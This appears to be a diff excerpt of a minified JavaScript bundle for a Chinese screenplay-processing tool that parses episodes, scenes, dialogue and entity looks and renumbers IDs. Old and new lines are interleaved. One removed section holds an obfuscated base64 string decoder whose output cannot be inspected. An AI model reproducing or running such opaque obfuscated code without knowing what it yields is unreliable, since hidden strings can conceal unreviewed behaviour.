p=d[0],l=a.looks.find(f=>ne(f.name)===ne(p)||d.some(u=>f.aliases.some(y=>ne(y)===ne(u))));if(l){c&&(l.description=c);for(let f of d)ne(f)!==ne(l.name)&&!l.aliases.some(u=>ne(u)===ne(f))&&l.aliases.push(f)}else a.looks.push({name:p,aliases:d.slice(1),description:c})}for(let r of t.lookChanges){let s=r.scene.trim(),c=$o(e,r.entity),a=r.look.trim();if(!s||!c||!a)continue;let d=zt(e,c),p=d?FS(d,a):a;(e.lookChanges[s]??=[]).push({entity:c,look:p}),d&&(d.currentLook=p)}let i=new Set;for(let r of t.newEntities){i.add(r.name);for(let s of r.aliases)i.add(s)}for(let r of t.merges)i.add(r.from),i.add(r.into);for(let r of t.looks)i.add(r.entity);for(let r of t.lookChanges)i.add(r.entity);for(let r of i){let s=zt(e,r);s&&(s.lastSeen=o)}return e.recent.push({startEp:n,endEp:o,summary:t.summary,subEvents:t.subEvents}),e}var qS=e=>e.summary.length+e.subEvents.reduce((t,n)=>t+n.length,0);function Cg(e,t=Jp){for(;e.recent.length>t.recentEpisodes||e.recent.length>1&&e.recent.reduce((n,o)=>n+qS(o),0)>6e3;){let n=e.recent.shift();n.summary.trim()&&e.synopsis.push({startEp:n.startEp,endEp:n.endEp,line:n.summary.trim()})}return e}function jp(e,t=Jp){return e.synopsis.reduce((o,i)=>o+i.line.length,0)<=t.synopsisChars||e.synopsis.length<=t.arcFold?null:e.synopsis.slice(0,t.arcFold)}function Tg(e,t,n=Jp){let o=e.synopsis.splice(0,n.arcFold);o.length&&e.synopsis.unshift({startEp:o[0].startEp,endEp:o[o.length-1].endEp,line:t.trim()})}var ZS=6;function La(e,t){let n=i=>t===void 0||i.lastSeen>=t-ZS,o=["# \u8BBE\u5B9A"];for(let i of["actor","location","prop"]){let r=e.entities.filter(s=>s.kind===i);if(r.length){o.push(`## ${JS[i]}`);for(let s of r){let c=[...s.aliases.length?[`\u522B\u540D ${s.aliases.join("\u3001")}`]:[],...s.currentLook?[`\u5F53\u524D\u9020\u578B ${s.currentLook}`]:[]];if(o.push(`- ${s.canonical}\uFF5C${c.join("\uFF5C")}`),!!n(s)){s.description&&o.push(` \u7B80\u4ECB\uFF1A${s.description}`);for(let a of s.looks){let d=a.aliases.length?`${a.name}(=${a.aliases.join("=")})`:a.name;o.push(` \u9020\u578B ${d}${a.description?`\uFF1A${a.description}`:""}`)}}}}}if(e.synopsis.length){o.push("","# \u524D\u60C5");for(let i of e.synopsis)o.push(`- ${Bp(i)}\uFF1A${i.line}`)}if(e.recent.length){o.push("","# \u6700\u8FD1");for(let i of e.recent){o.push(`## ${GS(i)}`),i.summary.trim()&&o.push(`\u6897\u6982\uFF1A${i.summary.trim()}`);for(let r of i.subEvents)o.push(`- ${r}`)}}return o.join(`
241
- `)}var WS=/(?:^|[,。!?;:、\s“”"'((])(他们|她们|它们|其中一人|另一个人|前者|后者|对方|有人|两人|他|她|它)(?!人)/;function ar(e){let t=[],n=(o,i,r)=>{t.push({code:o,path:i,message:r})};return e.actors.forEach((o,i)=>{dt(o.actor_name)&&n("production_crowd_actor",`$.actors[${i}].actor_name`,`${o.actor_name} is a group speaker, not an actor asset`)}),e.episodes.forEach((o,i)=>{o.scenes.forEach((r,s)=>{let c=`$.episodes[${i}].scenes[${s}]`;r.location===null&&n("production_location_missing",`${c}.location`,"production scene needs one stable location"),r.actions.forEach((a,d)=>{let p=`${c}.actions[${d}]`;if(a.type==="action"){let l=WS.exec(a.content);l&&n("production_action_pronoun",`${p}.content`,`action uses ambiguous reference ${l[1]}`)}})})}),t}var Ze=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),ft=e=>Array.isArray(e),Na=e=>String(e).padStart(3,"0"),zp=[{key:"actors",idField:"actor_id",prefix:"act"},{key:"locations",idField:"location_id",prefix:"loc"},{key:"props",idField:"prop_id",prefix:"prp"}];function Ua(e){if(!Ze(e))throw new Error("renumberIds expects a script object");let t=JSON.parse(JSON.stringify(e)),n={episodes:{},scenes:{},actors:{},locations:{},props:{},states:{}},o={actors:[],locations:[],props:[]},i={actors:new Set,locations:new Set,props:new Set},r=(a,d)=>{typeof d=="string"&&!i[a].has(d)&&(i[a].add(d),o[a].push(d))};for(let a of ft(t.episodes)?t.episodes:[])if(!(!Ze(a)||!ft(a.scenes))){for(let d of a.scenes)if(Ze(d)){Ze(d.location)&&r("locations",d.location.location_id);for(let p of ft(d.actors)?d.actors:[])Ze(p)&&r("actors",p.actor_id);for(let p of ft(d.props)?d.props:[])Ze(p)&&r("props",p.prop_id);for(let p of ft(d.actions)?d.actions:[])Ze(p)&&Ze(p.speaker)&&r("actors",p.speaker.actor_id)}}for(let{key:a,idField:d}of zp)for(let p of ft(t[a])?t[a]:[])Ze(p)&&r(a,p[d]);for(let{key:a,prefix:d}of zp)o[a].forEach((p,l)=>{n[a][p]=`${d}_${Na(l+1)}`});for(let{key:a,idField:d}of zp){let p=(ft(t[a])?t[a]:[]).filter(Ze),l=n[a],f=new Map;for(let u of p){let y=u[d],m=l[y]??y;u[d]=m;let g=0;for(let w of ft(u.states)?u.states:[]){if(!Ze(w)||typeof w.state_id!="string"||w.state_id==="default")continue;let h=`st_${Na(++g)}`;n.states[w.state_id]=h,w.state_id=h}f.set(m,u)}t[a]=[...f.entries()].sort((u,y)=>u[0]<y[0]?-1:1).map(u=>u[1])}let s=0;(ft(t.episodes)?t.episodes:[]).forEach((a,d)=>{if(Ze(a)){if(typeof a.episode_id=="string"){let p=`ep_${Na(d+1)}`;n.episodes[a.episode_id]=p,a.episode_id=p}for(let p of ft(a.scenes)?a.scenes:[])if(Ze(p)&&typeof p.scene_id=="string"){let l=`scn_${Na(++s)}`;n.scenes[p.scene_id]=l,p.scene_id=l}}});let c=(a,d,p)=>{!Ze(a)||typeof a[d]!="string"||(a[d]=n[p][a[d]]??a[d],typeof a.state_id=="string"&&n.states[a.state_id]&&(a.state_id=n.states[a.state_id]))};for(let a of ft(t.episodes)?t.episodes:[])if(!(!Ze(a)||!ft(a.scenes))){for(let d of a.scenes)if(Ze(d)){c(d.location,"location_id","locations");for(let p of ft(d.actors)?d.actors:[])c(p,"actor_id","actors");for(let p of ft(d.props)?d.props:[])c(p,"prop_id","props");for(let p of ft(d.actions)?d.actions:[])Ze(p)&&c(p.speaker,"actor_id","actors")}}return{script:t,idMap:n}}import{createHash as XS}from"node:crypto";function cs(e){let t=v(e).trim();if(!t.includes(":"))throw new S("Target invalid.",{exitCode:B,errorCode:"TARGET_INVALID",hint:"Use a concrete asset target.",data:{expected:["target: actor:<id>, location:<id>, or prop:<id>"],actual:[t||"<empty>"]}});let n=t.indexOf(":"),o=t.slice(0,n).trim(),i=t.slice(n+1).trim();if(!hu.has(o)||!i)throw new S("Target invalid.",{exitCode:B,errorCode:"TARGET_INVALID",hint:"Use actor, location, or prop with a non-empty id.",data:{expected:["target: actor:<id>, location:<id>, or prop:<id>"],actual:[t]}});return[o,i]}function Do(){return{version:3,actor:{},location:{},prop:{},state:{},episode:{},scene:{},action:{}}}function Ht(e,t){let n=e.get(t);if(n===void 0)throw new Error(`Missing mapped ID for ${t}`);return n}function cr(e,t=Do(),n={}){if(t.version!==3)throw new Error(`Unsupported v4 identity map version: ${String(t.version)}`);let o=structuredClone(t),i={actor:new Map,location:new Map,prop:new Map},r={actor:new Set,location:new Set,prop:new Set,episode:new Set,scene:new Set,action:new Set},s=(I,O,U,C)=>{let R=U[O];if(R!==void 0){if(!V(I,R))throw new Error(`Invalid persisted ${I} ID for ${O}: ${R}`);if(C.has(R))throw new Error(`Duplicate persisted ${I} ID: ${R}`);return C.add(R),R}let K=Zo(I,C);return C.add(K),U[O]=K,K},c=(I,O)=>n[I]?.[O]??O;for(let I of e.actors){let O=s("actor",c("actor",I.actor_id),o.actor,r.actor);i.actor.set(I.actor_id,O)}for(let I of e.locations){let O=s("location",c("location",I.location_id),o.location,r.location);i.location.set(I.location_id,O)}for(let I of e.props){let O=s("prop",c("prop",I.prop_id),o.prop,r.prop);i.prop.set(I.prop_id,O)}let a=new Map,d=(I,O,U)=>{let C=new Map,R=new Set,K=c(I,O),Z=o.state[K]??{};o.state[K]=Z;let Re=U.map(ie=>{let j;if(ie.state_id==="default")j="default";else{let vt=n.state?.[O]?.[ie.state_id]??ie.state_id,P=Z[vt];if(P!==void 0){if(!V("state",P))throw new Error(`Invalid persisted state ID for ${O}/${ie.state_id}: ${P}`);if(R.has(P))throw new Error(`Duplicate persisted state ID on ${O}: ${P}`);j=P}else j=Zo("state",R),Z[vt]=j}return R.add(j),C.set(ie.state_id,j),{...ie,state_id:j}});return a.set(O,C),Re},p=(I,O)=>O===void 0?void 0:Ht(a.get(I)??new Map,O),l=e.actors.map(I=>({...I,actor_id:Ht(i.actor,I.actor_id),states:d("actor",I.actor_id,I.states)})),f=e.locations.map(I=>({...I,location_id:Ht(i.location,I.location_id),states:d("location",I.location_id,I.states)})),u=e.props.map(I=>({...I,prop_id:Ht(i.prop,I.prop_id),states:d("prop",I.prop_id,I.states)})),y=I=>{if("actor_id"in I){let O=p(I.actor_id,I.state_id);return{actor_id:Ht(i.actor,I.actor_id),...O===void 0?{}:{state_id:O}}}return I.label===void 0?{kind:I.kind}:{kind:I.kind,label:I.label}},m=I=>{if(I.includes(":")){let[U,C]=cs(I);return Ht(U==="actor"?i.actor:U==="location"?i.location:i.prop,C)}let O=i.actor.get(I)??i.location.get(I)??i.prop.get(I);if(O===void 0)throw new Error(`Missing transition target mapping for ${I}`);return O},g=(I,O)=>{let U=s("action",O,o.action,r.action),C=I.transition_prompt===void 0?{}:{transition_prompt:{...I.transition_prompt,target:m(I.transition_prompt.target)}};if(I.type==="dialogue"||I.type==="inner_thought"){if(I.speaker===void 0)throw new Error(`Speaking action ${I.content.slice(0,40)} has no speaker`);return{action_id:U,type:I.type,content:I.content,speaker:y(I.speaker),...I.emotion===void 0?{}:{parenthetical:I.emotion},...C,...I.extend===void 0?{}:{extend:I.extend}}}return{action_id:U,type:I.type,content:I.content,...C,...I.extend===void 0?{}:{extend:I.extend}}},w=(I,O)=>[p(I,O??"default")??"default"],h=(I,O)=>{let U=new Map;for(let C of I){let R=Ht(i.actor,C.actor_id),K=U.get(R)??new Set;w(C.actor_id,C.state_id).forEach(Z=>K.add(Z)),U.set(R,K)}for(let C of O){if(C.speaker===void 0||!("actor_id"in C.speaker))continue;let R=C.speaker.actor_id,K=Ht(i.actor,R),Z=U.get(K)??new Set;w(R,C.speaker.state_id).forEach(Re=>Z.add(Re)),U.set(K,Z)}return[...U].map(([C,R])=>({actor_id:C,state_ids:[...R].sort()}))},_=I=>{let O=new Map;for(let U of I){let C=Ht(i.prop,U.prop_id),R=O.get(C)??new Set;w(U.prop_id,U.state_id).forEach(K=>R.add(K)),O.set(C,R)}return[...O].map(([U,C])=>({prop_id:U,state_ids:[...C].sort()}))},x=new Set,E=new Set,A=new Set,k={version:4,title:e.title,worldview:e.worldview,style:e.style,...e.worldview_raw===void 0?{}:{worldview_raw:e.worldview_raw},...e.synopsis===void 0?{}:{synopsis:e.synopsis},...e.logline===void 0?{}:{logline:e.logline},...e.theme===void 0?{}:{theme:e.theme},...e.main_characters===void 0?{}:{main_characters:e.main_characters},...e.extend===void 0?{}:{extend:e.extend},actors:l,locations:f,props:u,episodes:e.episodes.map(I=>{let O=n.episode?.[I.episode_id]??I.episode_id;x.add(O);let U=s("episode",O,o.episode,r.episode);return{...I,episode_id:U,scenes:I.scenes.map(C=>{let R=`${I.episode_id}/${C.scene_id}`,K=n.scene?.[R]??R;E.add(K);let Z=s("scene",K,o.scene,r.scene),Re=new Map;return{...C,scene_id:Z,location:C.location===null?null:{location_id:Ht(i.location,C.location.location_id),state_ids:w(C.location.location_id,C.location.state_id)},actors:h(C.actors,C.actions),props:_(C.props),actions:C.actions.map((ie,j)=>{let vt=`${R}#${j}`,P=JSON.stringify(In(ie)),ce=(Re.get(P)??0)+1;Re.set(P,ce);let Se=XS("sha256").update(P).digest("hex"),Ot=n.action?.[vt]??`${K}:action:${Se}:${ce}`;return A.add(Ot),g(ie,Ot)})}})}})},N=(I,O)=>{for(let U of Object.keys(I))O.has(U)||delete I[U]};N(o.actor,new Set(e.actors.map(I=>c("actor",I.actor_id)))),N(o.location,new Set(e.locations.map(I=>c("location",I.location_id)))),N(o.prop,new Set(e.props.map(I=>c("prop",I.prop_id)))),N(o.episode,x),N(o.scene,E),N(o.action,A);let M=[...e.actors.map(I=>({id:c("actor",I.actor_id),oldId:I.actor_id,states:I.states})),...e.locations.map(I=>({id:c("location",I.location_id),oldId:I.location_id,states:I.states})),...e.props.map(I=>({id:c("prop",I.prop_id),oldId:I.prop_id,states:I.states}))];N(o.state,new Set(M.map(I=>I.id)));for(let I of M)N(o.state[I.id]??{},new Set(I.states.map(O=>n.state?.[I.oldId]?.[O.state_id]??O.state_id)));return{script:k,identityMap:o}}import*as Ne from"node:fs";import*as yi from"node:path";function wi(e,t){let n=yi.dirname(e);Ne.mkdirSync(n,{recursive:!0});let o=yi.join(n,`.${yi.basename(e)}.${process.pid}.tmp`),i=Ne.openSync(o,"w");try{Ne.writeFileSync(i,t),Ne.fsyncSync(i)}finally{Ne.closeSync(i)}Ne.renameSync(o,e)}function eI(e,t){wi(e,JSON.stringify(t,null,2)+`
242
- `)}function tI(e){return JSON.parse(Ne.readFileSync(e,"utf-8"))}var mt=class{constructor(t){this.root=t}root;abs(t){return yi.join(this.root,t)}ensure(){Ne.mkdirSync(this.root,{recursive:!0})}passDir(t){let n=this.abs(t);return Ne.mkdirSync(n,{recursive:!0}),n}readText(t){return Ne.readFileSync(this.abs(t),"utf-8")}writeText(t,n){wi(this.abs(t),n)}writeJson(t,n){eI(this.abs(t),n)}readJson(t){return tI(this.abs(t))}has(t){return Ne.existsSync(this.abs(t))}path(t){return this.abs(t)}clearError(t){let n=this.abs(t);Ne.existsSync(n)&&Ne.rmSync(n)}};function rn(e,t){e=e-0;let n=Hp(),o=n[e];if(rn.wCYmoh===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};rn.ccSjUe=i,rn.dKlJjl={},rn.wCYmoh=!0}let r=n[0];rn.sBhMJx!==r&&(rn.dKlJjl={},rn.sBhMJx=r);let s=rn.dKlJjl[e];return s===void 0?(o=rn.ccSjUe(o),rn.dKlJjl[e]=o):o=s,o}var Y=rn,nI=[Y(40),Y(37),Y(24),Y(75),Y(5),Y(21),"",Y(65),Y(13),Y(34),Y(62),"",Y(70),Y(35),Y(42),Y(27),Y(39),Y(43),Y(0),Y(68),Y(55),"",Y(77),Y(18),Y(58),Y(10),Y(11),Y(51),Y(59),Y(66),Y(8),Y(3),Y(76),"",Y(15),Y(4),Y(9),Y(6),Y(20),Y(14),Y(45),Y(48),Y(38),Y(54)][Y(74)](`
239
+ `);return d.trim()===""?!1:(i.push({index:i.length,core_line_start:r,core_line_end:a,text:d}),r=a,s=0,!0)};for(let a=0;a<o.length;a++){let d=o[a],l=s+(a===r?0:1)+d.length;d.trim()!==""&&a>r&&l>n&&c(a)?s=d.length:s=l}return c(o.length),i}var kg=["episode","scene","action","dialogue","inner_thought","transition","note"];var TS={day:"day",\u65E5:"day",\u767D\u5929:"day",\u65E5\u95F4:"day",\u663C:"day",\u663C\u95F4:"day",night:"night",\u591C:"night",\u591C\u665A:"night",\u591C\u95F4:"night",\u665A:"night",dawn:"dawn",\u6668:"dawn",\u6E05\u6668:"dawn",\u65E9\u6668:"dawn",\u9ECE\u660E:"dawn",\u62C2\u6653:"dawn",dusk:"dusk",\u660F:"dusk",\u9EC4\u660F:"dusk",\u508D\u665A:"dusk",\u65E5\u843D:"dusk"};function Co(e){if(typeof e!="string")return;let t=e.normalize("NFC").replace(/\s+/g,"").trim().toLocaleLowerCase();return TS[t]}var we=class extends Error{constructor(n,o){super(`line ${o}: ${n}`);this.line=o}line};function ir(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function on(e,t,n){for(let o of Object.keys(e))if(!t.includes(o))throw new we(`unknown field '${o}'`,n)}function VS(e,t){if(!ir(e))throw new we("missing source",t);on(e,["chunk","line_start","line_end"],t);let{chunk:n,line_start:o,line_end:i}=e;if(![n,o,i].every(r=>typeof r=="number"&&Number.isInteger(r)&&r>=0))throw new we("source needs integer chunk/line_start/line_end",t);if(o>=i)throw new we("source line_start must be < line_end",t);return{chunk:n,line_start:o,line_end:i}}function or(e,t,n){let o=e[t];if(typeof o!="string"||o==="")throw new we(`'${t}' must be a non-empty string`,n);return o}function To(e,t,n){if(!(t in e)||e[t]===void 0)return;let o=e[t];if(typeof o!="string"||o==="")throw new we(`'${t}' must be a non-empty string`,n);return o}function bg(e,t,n){if(!Array.isArray(e))throw new we(`'${t}' must be an array`,n);return e.map(o=>{if(!ir(o))throw new we(`'${t}' entries must be objects`,n);on(o,["name","state"],n);let i={name:or(o,"name",n)},r=To(o,"state",n);return r!==void 0&&(i.state=r),i})}function $S(e,t){if(!ir(e))throw new we("dialogue/inner_thought needs a speaker",t);if("kind"in e){on(e,["kind","label"],t);let r=e.kind;if(typeof r!="string"||!Tn.includes(r))throw new we(`speaker.kind must be one of ${Tn.join("|")}`,t);let s={kind:r},c=To(e,"label",t);return c!==void 0&&(s.label=c),s}on(e,["name","state"],t);let n=or(e,"name",t);if(!/[\p{L}\p{N}]/u.test(n))throw new we("speaker.name must contain a letter or number",t);let o={name:n},i=To(e,"state",t);return i!==void 0&&(o.state=i),o}function DS(e,t){let n=e.kind;if(typeof n!="string"||!kg.includes(n))throw new we(`unknown or missing kind '${String(n)}'`,t);let o=VS(e.source,t);switch(n){case"episode":{on(e,["kind","episode","title","source"],t);let i=e.episode;if(typeof i!="number"||!Number.isInteger(i))throw new we("episode must be an integer",t);let r={kind:n,episode:i,source:o},s=To(e,"title",t);return s!==void 0&&(r.title=s),r}case"scene":{on(e,["kind","scene","environment","location","actors","props","source"],t);let i={kind:n,source:o};if("scene"in e&&e.scene!==void 0){if(typeof e.scene!="number"||!Number.isInteger(e.scene))throw new we("scene must be an integer",t);i.scene=e.scene}if("environment"in e&&e.environment!==void 0){if(!ir(e.environment))throw new we("environment must be an object",t);on(e.environment,["space","time"],t);let r={},s=To(e.environment,"space",t);s!==void 0&&(r.space=s);let c=To(e.environment,"time",t);if(c!==void 0){let a=Co(c);if(!a)throw new we("environment.time must be day|night|dawn|dusk or a recognized Chinese equivalent",t);r.time=a}i.environment=r}if("location"in e&&e.location!==void 0){if(!ir(e.location))throw new we("location must be an object",t);on(e.location,["name","state"],t);let r={name:or(e.location,"name",t)},s=To(e.location,"state",t);s!==void 0&&(r.state=s),i.location=r}return"actors"in e&&e.actors!==void 0&&(i.actors=bg(e.actors,"actors",t)),"props"in e&&e.props!==void 0&&(i.props=bg(e.props,"props",t)),i}case"action":case"transition":{on(e,["kind","content","source"],t);let i=or(e,"content",t);return{kind:n,content:i,source:o}}case"dialogue":case"inner_thought":{on(e,["kind","speaker","content","emotion","source"],t);let i=or(e,"content",t),r=$S(e.speaker,t),s={kind:n,speaker:r,content:i,source:o},c=To(e,"emotion",t);return c!==void 0&&(s.emotion=c),s}case"note":{on(e,["kind","content","category","source"],t);let i=or(e,"content",t),r={kind:n,content:i,source:o};if("category"in e&&e.category!==void 0){let s=e.category;if(s!=="author_note"&&s!=="format_note"&&s!=="unclassified")throw new we("note.category must be author_note|format_note|unclassified",t);r.category=s}return r}default:throw new we(`unhandled kind '${n}'`,t)}}function is(e,t=0){let n=[],o=e.split(`
240
+ `);for(let i=0;i<o.length;i++){let r=o[i].trim();if(r==="")continue;let s;try{s=JSON.parse(r)}catch{throw new we("invalid JSON",i+1+t)}if(!ir(s))throw new we("record must be a JSON object",i+1+t);n.push(DS(s,i+1+t))}return n}var ne=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),gi=e=>{let t=/[((]/.exec(e);return!t||t.index===0?e:e.slice(0,t.index).trim()},GS=e=>e.startEp===e.endEp?`\u7B2C${e.startEp}\u96C6`:`\u7B2C${e.startEp}\u96C6\u2013\u7B2C${e.endEp}\u96C6`,Gp=e=>e.startEp===e.endEp?`\u7B2C${e.startEp}\u96C6`:`\u7B2C${e.startEp}\u96C6\u2013\u7B2C${e.endEp}\u96C6`,Mg=()=>({newEntities:[],merges:[],looks:[],lookChanges:[],subEvents:[],summary:""}),Lg=()=>({entities:[],lookChanges:{},recent:[],synopsis:[]}),Bp={recentEpisodes:6,synopsisChars:3500,arcFold:10},BS=1e4;function Ng(e){let t=0,n=0;for(let o of e){n++;let i=o.codePointAt(0);(i>=13312&&i<=40959||i>=12288&&i<=12543||i>=65280&&i<=65519||i>=63744&&i<=64255)&&t++}return Math.round(t*.7+(n-t)*.25)}function Ug(e,t=BS){let n=[],o=0,i=0;for(let r=0;r<e.length;r++)r>o&&i+e[r]>t&&(n.push([o+1,r]),o=r,i=0),i+=e[r];return o<e.length&&n.push([o+1,e.length]),n}var JS={actor:"\u4EBA\u7269",location:"\u573A\u666F",prop:"\u9053\u5177"};function zt(e,t){let n=ne(t);return e.entities.find(o=>ne(o.canonical)===n||o.aliases.some(i=>ne(i)===n))}var vg=(e,t)=>{ne(t)!==ne(e.canonical)&&!e.aliases.some(n=>ne(n)===ne(t))&&e.aliases.push(t)},KS=["\u5E74\u8F7B","\u5E74\u8001","\u5E74\u5E7C","\u5E74\u5C11","\u4E2D\u5E74","\u9752\u5E74","\u5C11\u5E74","\u8001\u5E74","\u5E7C\u5E74","\u8001","\u5C0F","\u5927","\u5C11","\u5E7C"];function jS(e,t){let n=ne(e),o=ne(t);if(n===o||!n.includes(o))return!1;let i=n.replace(o,"").trim();return i.length>0&&!KS.some(r=>i===r||i.startsWith(r))}function zS(e){let t=e.filter(n=>e.some(o=>o!==n&&jS(n,o)));return t.length?t.reduce((n,o)=>o.length>n.length?o:n):e[0]}var Og=["\u4F17\u4EBA","\u7FA4\u4F17","\u6C11\u4F17","\u89C2\u4F17","\u4EBA\u7FA4","\u4EBA\u4EEC","\u5927\u5BB6","\u8DEF\u4EBA","\u884C\u4EBA","\u770B\u5BA2","\u56F4\u89C2\u8005","\u6751\u6C11","\u58EB\u5175","\u767E\u59D3","\u5B66\u751F","\u540C\u5B66","\u4E2B\u9B1F","\u968F\u4ECE","\u4F8D\u536B","\u5BB6\u4E01","\u4EC6\u4EBA","\u4E0B\u4EBA","\u5B69\u5B50","\u8F7F\u592B","\u62A4\u536B","\u624B\u4E0B","\u5C0F\u5F1F","\u55BD\u5570","\u5B98\u5175","\u8859\u5F79","\u592A\u76D1","\u5BAB\u5973","\u5A62\u5973","\u5546\u8D29","\u98DF\u5BA2"],HS=["\u4F17\u4EBA","\u7FA4\u4F17","\u6C11\u4F17","\u89C2\u4F17","\u4EBA\u7FA4","\u4EBA\u4EEC","\u5927\u5BB6","\u767E\u59D3","\u5B98\u5175"],QS=/^(?:一群|一众|全体|所有|几名|数名|多名|[0-9零一二两三四五六七八九十百千]+名?)/;function dt(e){let t=ne(e).replace(/[0-9零一二两三四五六七八九十百千]+名?$/,"").trim();return t?t.endsWith("\u4EEC")||Og.includes(t)||HS.some(n=>t.endsWith(n))?!0:QS.test(t)&&Og.some(n=>t.endsWith(n)):!1}function Vo(e,t){let n=gi(t);return zt(e,n)?.canonical??n}function FS(e,t){let n=ne(t);return e.looks.find(o=>ne(o.name)===n||o.aliases.some(i=>ne(i)===n))?.name??t}var YS=["\u5E38\u6001","\u65E5\u5E38","\u5E73\u65F6","\u57FA\u7840","\u666E\u901A"];function Jp(e){if(e.looks.length!==0)return(e.looks.find(t=>YS.some(n=>t.name.includes(n)))??e.looks[0]).name}function Dp(e,t,n,o){let i=ne(gi(n));if(i)return e.entities.find(r=>r.kind===t&&r!==o&&(ne(r.canonical)===i||r.aliases.some(s=>ne(s)===i)))}function Rg(e){let t=[e.canonical,...e.aliases],n=zS(t);ne(n)!==ne(e.canonical)&&(e.canonical=n,e.aliases=t.filter(o=>ne(o)!==ne(n)))}function rs(e,t,n,o=n){for(let r of t.newEntities){let s=gi(r.name);if(!s)continue;let c=Dp(e,r.kind,s);if(!c){let d=[];for(let p of r.aliases){let l=gi(p);l&&ne(l)!==ne(s)&&!Dp(e,r.kind,l)&&d.push(l)}e.entities.push({kind:r.kind,canonical:s,aliases:[...new Set(d)],description:r.description,looks:[{name:r.defaultLook.name,aliases:[],description:r.defaultLook.description}],lastSeen:o});continue}for(let d of r.aliases){let p=gi(d);p&&!Dp(e,r.kind,p,c)&&vg(c,p)}!c.description&&r.description&&(c.description=r.description);let a=c.looks.find(d=>ne(d.name)===ne(r.defaultLook.name));a?a.description=r.defaultLook.description:c.looks.unshift({name:r.defaultLook.name,aliases:[],description:r.defaultLook.description}),Rg(c)}for(let{from:r,into:s}of t.merges){let c=gi(s);if(!c)continue;let a=zt(e,c);if(!a)continue;let d=gi(r);!d||ne(d)===ne(a.canonical)||zt(e,d)||(vg(a,d),Rg(a))}for(let{entity:r,names:s,description:c}of t.looks){let a=zt(e,r);if(!a)continue;let d=s.map(f=>f.trim()).filter(Boolean);if(!d.length)continue;let p=d[0],l=a.looks.find(f=>ne(f.name)===ne(p)||d.some(u=>f.aliases.some(y=>ne(y)===ne(u))));if(l){c&&(l.description=c);for(let f of d)ne(f)!==ne(l.name)&&!l.aliases.some(u=>ne(u)===ne(f))&&l.aliases.push(f)}else a.looks.push({name:p,aliases:d.slice(1),description:c})}for(let r of t.lookChanges){let s=r.scene.trim(),c=Vo(e,r.entity),a=r.look.trim();if(!s||!c||!a)continue;let d=zt(e,c),p=d?FS(d,a):a;(e.lookChanges[s]??=[]).push({entity:c,look:p}),d&&(d.currentLook=p)}let i=new Set;for(let r of t.newEntities){i.add(r.name);for(let s of r.aliases)i.add(s)}for(let r of t.merges)i.add(r.from),i.add(r.into);for(let r of t.looks)i.add(r.entity);for(let r of t.lookChanges)i.add(r.entity);for(let r of i){let s=zt(e,r);s&&(s.lastSeen=o)}return e.recent.push({startEp:n,endEp:o,summary:t.summary,subEvents:t.subEvents}),e}var qS=e=>e.summary.length+e.subEvents.reduce((t,n)=>t+n.length,0);function Pg(e,t=Bp){for(;e.recent.length>t.recentEpisodes||e.recent.length>1&&e.recent.reduce((n,o)=>n+qS(o),0)>6e3;){let n=e.recent.shift();n.summary.trim()&&e.synopsis.push({startEp:n.startEp,endEp:n.endEp,line:n.summary.trim()})}return e}function Kp(e,t=Bp){return e.synopsis.reduce((o,i)=>o+i.line.length,0)<=t.synopsisChars||e.synopsis.length<=t.arcFold?null:e.synopsis.slice(0,t.arcFold)}function Cg(e,t,n=Bp){let o=e.synopsis.splice(0,n.arcFold);o.length&&e.synopsis.unshift({startEp:o[0].startEp,endEp:o[o.length-1].endEp,line:t.trim()})}var ZS=6;function Ma(e,t){let n=i=>t===void 0||i.lastSeen>=t-ZS,o=["# \u8BBE\u5B9A"];for(let i of["actor","location","prop"]){let r=e.entities.filter(s=>s.kind===i);if(r.length){o.push(`## ${JS[i]}`);for(let s of r){let c=[...s.aliases.length?[`\u522B\u540D ${s.aliases.join("\u3001")}`]:[],...s.currentLook?[`\u5F53\u524D\u9020\u578B ${s.currentLook}`]:[]];if(o.push(`- ${s.canonical}\uFF5C${c.join("\uFF5C")}`),!!n(s)){s.description&&o.push(` \u7B80\u4ECB\uFF1A${s.description}`);for(let a of s.looks){let d=a.aliases.length?`${a.name}(=${a.aliases.join("=")})`:a.name;o.push(` \u9020\u578B ${d}${a.description?`\uFF1A${a.description}`:""}`)}}}}}if(e.synopsis.length){o.push("","# \u524D\u60C5");for(let i of e.synopsis)o.push(`- ${Gp(i)}\uFF1A${i.line}`)}if(e.recent.length){o.push("","# \u6700\u8FD1");for(let i of e.recent){o.push(`## ${GS(i)}`),i.summary.trim()&&o.push(`\u6897\u6982\uFF1A${i.summary.trim()}`);for(let r of i.subEvents)o.push(`- ${r}`)}}return o.join(`
241
+ `)}var WS=/(?:^|[,。!?;:、\s“”"'((])(他们|她们|它们|其中一人|另一个人|前者|后者|对方|有人|两人|他|她|它)(?!人)/;function rr(e){let t=[],n=(o,i,r)=>{t.push({code:o,path:i,message:r})};return e.actors.forEach((o,i)=>{dt(o.actor_name)&&n("production_crowd_actor",`$.actors[${i}].actor_name`,`${o.actor_name} is a group speaker, not an actor asset`)}),e.episodes.forEach((o,i)=>{o.scenes.forEach((r,s)=>{let c=`$.episodes[${i}].scenes[${s}]`;r.location===null&&n("production_location_missing",`${c}.location`,"production scene needs one stable location"),r.actions.forEach((a,d)=>{let p=`${c}.actions[${d}]`;if(a.type==="action"){let l=WS.exec(a.content);l&&n("production_action_pronoun",`${p}.content`,`action uses ambiguous reference ${l[1]}`)}})})}),t}var Ze=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),ft=e=>Array.isArray(e),La=e=>String(e).padStart(3,"0"),jp=[{key:"actors",idField:"actor_id",prefix:"act"},{key:"locations",idField:"location_id",prefix:"loc"},{key:"props",idField:"prop_id",prefix:"prp"}];function Na(e){if(!Ze(e))throw new Error("renumberIds expects a script object");let t=JSON.parse(JSON.stringify(e)),n={episodes:{},scenes:{},actors:{},locations:{},props:{},states:{}},o={actors:[],locations:[],props:[]},i={actors:new Set,locations:new Set,props:new Set},r=(a,d)=>{typeof d=="string"&&!i[a].has(d)&&(i[a].add(d),o[a].push(d))};for(let a of 